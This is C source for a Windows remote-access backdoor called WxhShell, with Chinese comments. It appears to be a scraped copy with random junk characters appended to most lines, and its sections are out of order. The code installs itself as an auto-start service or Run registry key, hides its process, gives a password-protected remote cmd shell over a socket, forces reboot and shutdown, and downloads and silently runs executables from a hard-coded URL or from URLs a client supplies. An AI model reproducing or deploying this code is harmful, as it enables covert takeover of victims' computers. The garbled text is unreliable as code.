    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (fr=[m$`  
    if(Boot(SHUTDOWN)) U(x$&um(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\=,_AQ  
    else { 1M?x,N_W  
    closesocket(wsh); Pg`+Q^^6S  
    ExitThread(0); RhT:]  
    } g`C"t3~%S  
    break; kB5y}v.3 S  
    } Oml3=TV  
  // 获取shell -kP2Brm  
  case 's': { 'qo(GGC M  
    CmdShell(wsh); +XX5;;IC  
    closesocket(wsh); r4gLoHD)  
    ExitThread(0); OVgak>$  
    break; >b#CR/^z  
  } tQyQ+1  
  // 退出 8'fF{C  
  case 'x': { ygm6(+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t1oTZ  
    CloseIt(wsh); -Gl!W`$I `  
    break; #Q_<eo%lI*  
    } Eg&Q,dH[  
  // 离开 2v4&'C  
  case 'q': { ,,IK}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?v F8 y;Jh  
    closesocket(wsh); DAtAc(05)  
    WSACleanup(); 8Jp?@qt=$  
    exit(1); -s le7k  
    break; 8(A k  
        } ~j!|(a7  
  }  s-&i!d  
  } u8<Fk !  
eCg|@d%D  
  // 提示信息 _jxysFl=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6/(Z*L"~6k  
} GIR12%-EO  
  }  Spo[JQ%6  
~aL?{kb+  
  return; t)(>E'X x  
} (15.?9  
H66~!J0;a  
// shell模块句柄 Z%r8oj\n  
int CmdShell(SOCKET sock) q^@*k,HG  
{ Nk F2'Z{$+  
STARTUPINFO si; $"=0{H.?  
ZeroMemory(&si,sizeof(si)); MpIP)bdq7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IY(;:#l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )hK;27m4  
PROCESS_INFORMATION ProcessInfo; 5y~B/.YY  
char cmdline[]="cmd"; )$2h:dw_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L'>0E(D  
  return 0; ;b, bHL  
} 'sI @e s  
R_:-Z .  
// 自身启动模式 4&`d$K  
int StartFromService(void) l~*d0E-$  
{ ).$kp2IN  
typedef struct lstnxi%x  
{ EixAmG  
  DWORD ExitStatus; m W4tW  
  DWORD PebBaseAddress; Psjk 7\  
  DWORD AffinityMask; ]jP 0Z#  
  DWORD BasePriority; twPD'X!r  
  ULONG UniqueProcessId; >9Y0t^Fl  
  ULONG InheritedFromUniqueProcessId; (i^<er q  
}   PROCESS_BASIC_INFORMATION; ]=]`Mnuxb  
yf e4}0}  
PROCNTQSIP NtQueryInformationProcess; qNbgN{4  
};8PPR)\y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ')E4N+h/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xEe3,tb'e  
sRGIHT#  
  HANDLE             hProcess; ]LSlo593  
  PROCESS_BASIC_INFORMATION pbi; ]i'gU(+;`  
LBhDP5qF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,V=]QHcg  
  if(NULL == hInst ) return 0; ,#80`&\%  
\MmKz^tO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0J9Ub   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Q??R }  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xO'xZ%cUI  
k.#[h@Pm  
  if (!NtQueryInformationProcess) return 0; #TY[\$BHs  
^g N?Io  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %0Ke4c  
  if(!hProcess) return 0; +WFa4NZ  
1?ST*b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >U[YSsFt6  
P;l D ri  
  CloseHandle(hProcess); )m$i``*<  
QU^?a~r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uF\f>E)/N%  
if(hProcess==NULL) return 0; EN2/3~syO-  
^o6&|q  
HMODULE hMod; uze5u\  
char procName[255]; $t42?Z=N&z  
unsigned long cbNeeded; $8Y|& P  
!5h@uar  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HpTX6}^  
eWAgYe2  
  CloseHandle(hProcess); \dc*!Es  
I r;Z+}4>Y  
if(strstr(procName,"services")) return 1; // 以服务启动 W&Gt^5  
/kK:{  
  return 0; // 注册表启动 Z%O>|ozpq  
} [^E{Yz=8,  
]h_V5rdX@  
// 主模块 P0^7hSo  
int StartWxhshell(LPSTR lpCmdLine) SI@Yct]<g  
{ qx\P(dOUf  
  SOCKET wsl; 92S,W?(  
BOOL val=TRUE; tR% &.,2  
  int port=0; "?TKz:9r  
  struct sockaddr_in door; E'4 dI:  
DFFB:<  
  if(wscfg.ws_autoins) Install(); =5Auk 5&  
%oEvp{I  
port=atoi(lpCmdLine); n"c3C)  
/N82h`\n  
if(port<=0) port=wscfg.ws_port; (qXl=e8  
U/I+A|S[  
  WSADATA data; bv8GJ #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J?N9*ap)  
;Q} H'Wg,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v"a.%" oN8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5!)_" u3  
  door.sin_family = AF_INET; R~&i8n.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f.SmCgG  
  door.sin_port = htons(port); a2N4Jg@  
fnm:Wa|,%|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ghpk0ia%d  
closesocket(wsl); <<[hZ$.  
return 1; 'uOzC"_yF  
} +O,h<* y  
Tx'ctd#Y  
  if(listen(wsl,2) == INVALID_SOCKET) { _{5t/^w&!  
closesocket(wsl); j L[ hB  
return 1; Z'I0e9Jw  
} E[RLBO[*n  
  Wxhshell(wsl); .wfN.Z  
  WSACleanup(); ;c_pa0L  
WaRYrTDv64  
return 0; 9k@`{+wmZ  
9w! G  
} C8 b%r|^#  
mTW@E#)n  
// 以NT服务方式启动 %g>{m2o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) An%V>a-[  
{ t!Uc, mEV]  
DWORD   status = 0; Pyx$$cj  
  DWORD   specificError = 0xfffffff; G Riu]   
69v[* InSd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E+&]96*Lby  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DjT ekn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {mp;^/O`er  
  serviceStatus.dwWin32ExitCode     = 0; :-f"+v  
  serviceStatus.dwServiceSpecificExitCode = 0; "p\XaClpz  
  serviceStatus.dwCheckPoint       = 0; 995^[c1o6  
  serviceStatus.dwWaitHint       = 0; y{eZrX|  
!!c.cv'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DT=!  
  if (hServiceStatusHandle==0) return; i`g>Y5   
w^*jhvV%kW  
status = GetLastError(); Xm`K@hJ@  
  if (status!=NO_ERROR) X |f'e@  
{ y^C; ?B<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g"3h#SMb  
    serviceStatus.dwCheckPoint       = 0; P-~Avb  
    serviceStatus.dwWaitHint       = 0; V,uhBMT#  
    serviceStatus.dwWin32ExitCode     = status; n#N<zC/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ``kKi3TWJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tE{7S/?h  
    return; s 8``U~D   
  } Y5 4*mn  
{kJ[)7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <,0& Ox  
  serviceStatus.dwCheckPoint       = 0; H[x9 7r  
  serviceStatus.dwWaitHint       = 0; \Mlj 7.u]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s=huOjKL]  
} #k=!>%+E  
#%e`OA(b  
// 处理NT服务事件,比如:启动、停止 ?NI)3-l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d*3R0Q|#{  
{ ,)L.^<  
switch(fdwControl) [uRsB5  
{ p,D/ Pb8  
case SERVICE_CONTROL_STOP: A|>a Gy  
  serviceStatus.dwWin32ExitCode = 0; XB;;OP12  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )KRO=~Y  
  serviceStatus.dwCheckPoint   = 0; =GR Em5  
  serviceStatus.dwWaitHint     = 0; dm$:xE":  
  { ((dG<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JmYi&  
  } `%ymg8^  
  return; !9)*.9[8  
case SERVICE_CONTROL_PAUSE: N&>D/Z;"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w#b~R^U  
  break; 6ldDt?iSg  
case SERVICE_CONTROL_CONTINUE: r9vC&pWZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V,M8RYOnC!  
  break; t%dPj8~  
case SERVICE_CONTROL_INTERROGATE: xD lC]loi7  
  break; n(o Jb  
}; hG;u8|uT^i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b`:Eo+p   
} f:utw T  
 b'{D4/  
// 标准应用程序主函数 rz.`$b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z(%Zji@!N  
{ mA>Pr<aV:  
oL6_Ya  
// 获取操作系统版本 ?)PcYrV  
OsIsNt=GetOsVer(); \dc`}}Lc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Pu*[STTT  
{jq-dL  
  // 从命令行安装 <n`|zQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); !{3pp  
W.CIyGK  
  // 下载执行文件 =Tj0dfO|"  
if(wscfg.ws_downexe) { w\QpQ~OX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~|!lC}!IKL  
  WinExec(wscfg.ws_filenam,SW_HIDE); @O(\ TIg  
} 7vWB=r>5@  
~p 1y+  
if(!OsIsNt) { j"dbl?og  
// 如果时win9x,隐藏进程并且设置为注册表启动 EagI)W!s[  
HideProc(); GS^4t mc  
StartWxhshell(lpCmdLine);  )Ob{]  
} qy]-YJZ  
else oc?VAF  
  if(StartFromService()) :=8vy  
  // 以服务方式启动 {!4%Z9G  
  StartServiceCtrlDispatcher(DispatchTable); [+1 i$d  
else 8L@di  Y  
  // 普通方式启动 aG ,uF  
  StartWxhshell(lpCmdLine); ,8 .`;  
=sm(Z ;"  
return 0; -_}EQ9Q  
} prWid3}  
ppYz~ {"r  
I@B7uFj  
t>[r88v  
=========================================== t Z%?vY~!  
nGt8u4gcP  
GB=q}@&8p  
qRFN@ID$  
^/+sl-6/F  
s6$3[9Vh&9  
" gM*s/,;O"  
x0d+cSw  
#include <stdio.h> i~;8'>:|,M  
#include <string.h> x\%eg w  
#include <windows.h> _pS%tPw  
#include <winsock2.h> jmFN*VIL  
#include <winsvc.h> cNVdGY%&  
#include <urlmon.h> piP8ObGjy  
GXfVjC31z  
#pragma comment (lib, "Ws2_32.lib") =T-w.}27O  
#pragma comment (lib, "urlmon.lib") _x!pM j(A  
iI*7WO[W  
#define MAX_USER   100 // 最大客户端连接数 <^U(ya  
#define BUF_SOCK   200 // sock buffer |xVCl<{F%  
#define KEY_BUFF   255 // 输入 buffer v=tj.Vg  
:eW~nI.Vc  
#define REBOOT     0   // 重启 PQ}%}S7:  
#define SHUTDOWN   1   // 关机 "ILWIzf.]  
|Vi&f5p,@  
#define DEF_PORT   5000 // 监听端口 xV#a(>-4  
L]d@D0.Z  
#define REG_LEN     16   // 注册表键长度 VA'X!(Cv  
#define SVC_LEN     80   // NT服务名长度 |A0$XU{  
6#M0AG  
// 从dll定义API s&hA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z=@)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :(>9u.>l?5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ulf/C%t,R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S2E HmE&  
c^O#O  
// wxhshell配置信息 ]M;6o@hq  
struct WSCFG { hG7S]\N_  
  int ws_port;         // 监听端口 l&*)r;9  
  char ws_passstr[REG_LEN]; // 口令 _AYC|R|  
  int ws_autoins;       // 安装标记, 1=yes 0=no {|Ki^8h/p  
  char ws_regname[REG_LEN]; // 注册表键名 DBJA}Cw  
  char ws_svcname[REG_LEN]; // 服务名 rAWl0y_m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }b+QYSt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mO)PJd2ZD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QZ3(u<f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l(,;wAH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?[VpN2*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `%M-7n9Y  
qmA2bw]  
}; ZQ~myqx,+L  
rEyz|k:  
// default Wxhshell configuration 7B]:3M6d  
struct WSCFG wscfg={DEF_PORT, $i:||L^8p  
    "xuhuanlingzhe", ^8NLe9~p3?  
    1, Tz[?gF.Do  
    "Wxhshell", wB>S\~i  
    "Wxhshell", =+`j?1  
            "WxhShell Service", #M?F^u[  
    "Wrsky Windows CmdShell Service", x}&a{;  
    "Please Input Your Password: ",  (X(1kj3  
  1, Pc)VK>.fc  
  "http://www.wrsky.com/wxhshell.exe", "f|(@a  
  "Wxhshell.exe" bugFl>  
    }; d"I28PIS"  
AL]h|)6QpC  
// 消息定义模块 =r@gJw:B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0^9:KZ.!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5BHOHw D{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jefNiEE[  
char *msg_ws_ext="\n\rExit."; qsihQ d  
char *msg_ws_end="\n\rQuit."; K2xH'v O(  
char *msg_ws_boot="\n\rReboot..."; _7lt(f[S  
char *msg_ws_poff="\n\rShutdown..."; M_h8#7{G  
char *msg_ws_down="\n\rSave to "; |,;twj[?4  
>wKu6- ]a  
char *msg_ws_err="\n\rErr!"; g={]Mzh  
char *msg_ws_ok="\n\rOK!"; =!(*5\IM  
N )zPxQ  
char ExeFile[MAX_PATH]; goDV2 alC^  
int nUser = 0; aGB0-;.t7  
HANDLE handles[MAX_USER]; d $fvg8^  
int OsIsNt; 3cOY0Z#T  
5 [ ,+\  
SERVICE_STATUS       serviceStatus; %'L].+$t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n .f4z<  
ZT) !8  
// 函数声明 m7r j>X Y  
int Install(void); %/l-A pu  
int Uninstall(void); J}Qs"+x  
int DownloadFile(char *sURL, SOCKET wsh); 5^i.;>(b  
int Boot(int flag); /a[V!<"R  
void HideProc(void); URYZV8=B~  
int GetOsVer(void); ]}z'X!v_@  
int Wxhshell(SOCKET wsl); JFkN=YR8  
void TalkWithClient(void *cs); i`[#W(m  
int CmdShell(SOCKET sock); l`@0zw+  
int StartFromService(void); t=n+3`g  
int StartWxhshell(LPSTR lpCmdLine); +I|Rk&  
J>`v.8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !1a}| !Zn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fy&#M3UA\U  
2E^"r jLm  
// 数据结构和表定义 U/ ?F:QD4  
SERVICE_TABLE_ENTRY DispatchTable[] = QVIcb ;&:}  
{ h&lyxYZ+T$  
{wscfg.ws_svcname, NTServiceMain}, "\}b!gl$8  
{NULL, NULL} b,#`n  
}; <57g{e0I  
!*&4< _  
// 自我安装 NW z9C=y  
int Install(void) sffhPX\I  
{ O!;H}{[dg  
  char svExeFile[MAX_PATH]; 9%sFJ  
  HKEY key; .iFViVZC  
  strcpy(svExeFile,ExeFile); LU%#mY  
mge#YV::  
// 如果是win9x系统,修改注册表设为自启动 M~uMY+>   
if(!OsIsNt) { PPEq6}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K\3*]>J3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C 8N%X2R  
  RegCloseKey(key); Gb;99mE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _=pWG^a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >w9sE8i  
  RegCloseKey(key); 4Rx~s7l  
  return 0; U_]=E<el  
    } +jUgx;u,  
  } mjbTy"}"  
} ymYBm: "  
else { )i;un.  
a"x}b  
// 如果是NT以上系统,安装为系统服务 6D|p Qs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7'z(~3D  
if (schSCManager!=0) i0>]CJG  
{ tAERbiH  
  SC_HANDLE schService = CreateService C8ZL*9U  
  ( OVZP x%a  
  schSCManager, ?-f,8Z|h  
  wscfg.ws_svcname, @Gt`Ds9=  
  wscfg.ws_svcdisp, "tUwo(K[  
  SERVICE_ALL_ACCESS, \/ErPi=g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |d[5l^6  
  SERVICE_AUTO_START, ++b$E&lYU  
  SERVICE_ERROR_NORMAL, \Wr,<Y  
  svExeFile, ?E6^!4=,  
  NULL, 7tRi"\[5  
  NULL, 4ZwKpQ6  
  NULL, z8E1m"  
  NULL, cL G6(<L  
  NULL `<U5z$^QTw  
  ); V^TbP.  
  if (schService!=0) zyFUl%  
  { 22&;jpL'?  
  CloseServiceHandle(schService); s9@Sd  
  CloseServiceHandle(schSCManager); ]n;1x1'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Wc_Utt  
  strcat(svExeFile,wscfg.ws_svcname); `:p1&OS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d$G}iJ8$mp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BRzfic :e  
  RegCloseKey(key); ^AL2H'  
  return 0; yz8jU*H  
    } ^nNitF  
  } q9]IIv  
  CloseServiceHandle(schSCManager); '#.#$8l  
} =n+ \\D  
} *z8|P#@  
UE.4q Y_7  
return 1; X!>eiYK)  
} 4CrLkr  
3I  $>uR  
// 自我卸载 SwW['c'*]B  
int Uninstall(void) xr%#dVk  
{ /?*]lH.  
  HKEY key; !5Sd2<N  
fuMJdAuY7d  
if(!OsIsNt) { {<=#*qx[Y!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ef)yQ  
  RegDeleteValue(key,wscfg.ws_regname); aG%, cQ1  
  RegCloseKey(key); oD.r `]k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .i Hn5SGA  
  RegDeleteValue(key,wscfg.ws_regname); ._PzYE|m2  
  RegCloseKey(key); B*3Y !!  
  return 0; eE@&ze>X  
  } (Pbg[AY  
} 6"f}O<M 5H  
} XYr J/!*.  
else { <RNJ>>0  
Qf$|_&|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `bjizS'^  
if (schSCManager!=0) bm% $86  
{ T0zn,ej  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m P'^%TE  
  if (schService!=0) p< "3&HA  
  { 6CbxuzYer  
  if(DeleteService(schService)!=0) { C3NdE_E  
  CloseServiceHandle(schService); Yz$3;  
  CloseServiceHandle(schSCManager); H<EQu|f&x  
  return 0; Q[F}r`  
  } @&|l^ 1  
  CloseServiceHandle(schService); 6/V3.UP-  
  } xg_D f,  
  CloseServiceHandle(schSCManager); G  uQ=gN  
} /,=@8k!t?  
} _j?e~w&0b  
=L;] ;i  
return 1; G)v #+4  
} } :=Tm]S  
*}k;L74|  
// 从指定url下载文件 Sf5X3,Uw  
int DownloadFile(char *sURL, SOCKET wsh) : G\<y  
{ M])dJ9&e  
  HRESULT hr; l7#yZ*<v  
char seps[]= "/"; J:&[ 59  
char *token; Um#Wu]i  
char *file; N_:qRpp6i  
char myURL[MAX_PATH]; [ i#zP  
char myFILE[MAX_PATH]; b4^`DHRu6  
w?kJ+lmOQy  
strcpy(myURL,sURL); r'QnX;99T  
  token=strtok(myURL,seps); /|6;Z}2  
  while(token!=NULL) .`>y@p!  
  { 8JmFi  
    file=token; jck}" N  
  token=strtok(NULL,seps); V3 ~~  
  } p+)YTzzc  
S[WG$  
GetCurrentDirectory(MAX_PATH,myFILE); q.,JVGMS  
strcat(myFILE, "\\"); @v}/zS  
strcat(myFILE, file); p<M\U"5Ye  
  send(wsh,myFILE,strlen(myFILE),0); 0}_[DAd6  
send(wsh,"...",3,0); yX~v-N!X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pAT7)Ch  
  if(hr==S_OK) GnvL'ESa@M  
return 0; j~*L~7  
else lRXK\xIP ,  
return 1; yn#X;ja-  
"~'b  
} 72'5%*1  
K4kMM*D  
// 系统电源模块 720DV +o  
int Boot(int flag) P#AW\d^"B  
{ AM!G1^c  
  HANDLE hToken; eH{[C*  
  TOKEN_PRIVILEGES tkp; 'q`^3&E  
Cg(Y&Gxf.  
  if(OsIsNt) { .0es 3Rj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <_7*67{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DY`kx2e!  
    tkp.PrivilegeCount = 1; o_~eg8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =zz ~kon9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fZoHf\B]{  
if(flag==REBOOT) { >Z5gSs0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ')$+G152  
  return 0; _ jsK}- \  
} >G%o,9i  
else { , 'u W*kx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I"ok&^t^}  
  return 0; maNl^i  
} a*&B`77`|  
  } ;<ZLc TL  
  else { H5Io{B%=  
if(flag==REBOOT) { Ys\Wj%6A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LA}S yt\F  
  return 0; 9J2NH|]c  
} 32`{7a3!=  
else { E4M@WNPx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y#3j`. $3p  
  return 0; I+tb[*X+  
} %yv<y+yP~  
} 73/P&hT  
.N ,3 od@  
return 1; Y!nJg1  
} vzim<;i  
]7Tkkw$  
// win9x进程隐藏模块 6G[4rD&  
void HideProc(void)  J4f i'  
{ )-a'{W/t  
R}*_~7r5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hhCrUn"  
  if ( hKernel != NULL ) I|^;B 8[  
  { YS/Yd[ e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); < HVl(O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v|dBSX9k0  
    FreeLibrary(hKernel); n>BkTaI  
  } Vf] "L .G  
 W\d{a(*  
return; ~?d Nd  
} )48QBz?  
w n/_}]T  
// 获取操作系统版本 |)(VsVG&  
int GetOsVer(void) I ?gSG*m  
{ 9]f!'d!5  
  OSVERSIONINFO winfo; f4 P8Oz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~A'!2  
  GetVersionEx(&winfo); gOSJM1Mr3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Enum/O5  
  return 1; M2OIBH4!  
  else (l^3Z3zf&  
  return 0; 1w@(5 ^V  
} "{@A5A  
;z}i-cNae  
// 客户端句柄模块 I>]oS(GNT  
int Wxhshell(SOCKET wsl) g{OwuAC_  
{ >3_jWFq  
  SOCKET wsh;  oM2l-[-  
  struct sockaddr_in client; \2N!:%k  
  DWORD myID; n}F&1Z  
RYQ<Zr$!  
  while(nUser<MAX_USER) 8i>ZY  
{ 8!O5quEc  
  int nSize=sizeof(client); Cl; oi}L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :W!7mna  
  if(wsh==INVALID_SOCKET) return 1; r e/@D@%  
-]/I73!b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n0r+A^]  
if(handles[nUser]==0) #hfXZVD  
  closesocket(wsh); >7lx=T x  
else `^u>9v-+'  
  nUser++; & ?h#Z!  
  } "6MVvpy"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;X?}x%$  
R "n 5  
  return 0; h`KFL/fT  
} bLlKe50  
U 9_9l7&r  
// 关闭 socket 6t>.[Y"v  
void CloseIt(SOCKET wsh) v\KA'PmiP  
{ QLXN*c  
closesocket(wsh); qaiNz S@q  
nUser--; ]op}y0  
ExitThread(0); z.7cy@N6  
} F_w Z"e6  
Lm*e5JnV  
// 客户端请求句柄  CJ1 7n  
void TalkWithClient(void *cs) q*U*Fu+  
{ ',Y.v"']4  
7&t-pv92*  
  SOCKET wsh=(SOCKET)cs; :o|\"3  
  char pwd[SVC_LEN]; /qMG=Z  
  char cmd[KEY_BUFF]; 'FqQzx"r  
char chr[1]; ^8 zR  
int i,j; OVm\  
)U~=Pf"  
  while (nUser < MAX_USER) { d74d/l1*{  
wN@oYFoL  
if(wscfg.ws_passstr) { 8J:}%DaxL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XG}C+;4Aw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r[2ILe  
  //ZeroMemory(pwd,KEY_BUFF); %SX|o-B~.o  
      i=0; *^g:P^4  
  while(i<SVC_LEN) {  'C`U"I  
T=iJGRctB  
  // 设置超时 ?{/4b:ua  
  fd_set FdRead; 9KDEM gCW  
  struct timeval TimeOut; =y [M\m  
  FD_ZERO(&FdRead); !Fca~31R'  
  FD_SET(wsh,&FdRead); j}%ja_9S  
  TimeOut.tv_sec=8; O[I\A[*  
  TimeOut.tv_usec=0; FKIw!m ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K?[q% W]%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;|p BFKx  
igIRSN}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XlV0*}S  
  pwd=chr[0]; dYG,_ji  
  if(chr[0]==0xd || chr[0]==0xa) { rm5bkJcg~  
  pwd=0; % W=b? :  
  break; \?Z{hmN  
  } 9`1O"R/  
  i++; 9{(.Il J>  
    } )[PtaPWeT  
nH`Q#ZFz]?  
  // 如果是非法用户,关闭 socket F<L EQ7T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v9:9E|,U+  
} ,24p%KJ*X  
\ Pj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }RzWJ@QD<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S& S Q  
$K]m{  
while(1) { wCr(D>iM  
6HZ`.o:f  
  ZeroMemory(cmd,KEY_BUFF); { &"CH]r  
2^y ^q2(r  
      // 自动支持客户端 telnet标准   $* AYcy7  
  j=0; {_`^R>"\&w  
  while(j<KEY_BUFF) { *QwY]j%^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <g1hxfKx5  
  cmd[j]=chr[0]; ~Lm$i6E <  
  if(chr[0]==0xa || chr[0]==0xd) { jBgP$g  
  cmd[j]=0; ,quoRan  
  break; <J`0mVOX  
  } =h0,?]z  
  j++; [Jogt#Fj ]  
    } n\xX},  
ToJ$A`_!`  
  // 下载文件 M-1ngI0H;  
  if(strstr(cmd,"http://")) { _CmOd-y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q=%RDG+  
  if(DownloadFile(cmd,wsh)) V!lZ\)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZHDp&lh}  
  else {@+Ty]e  
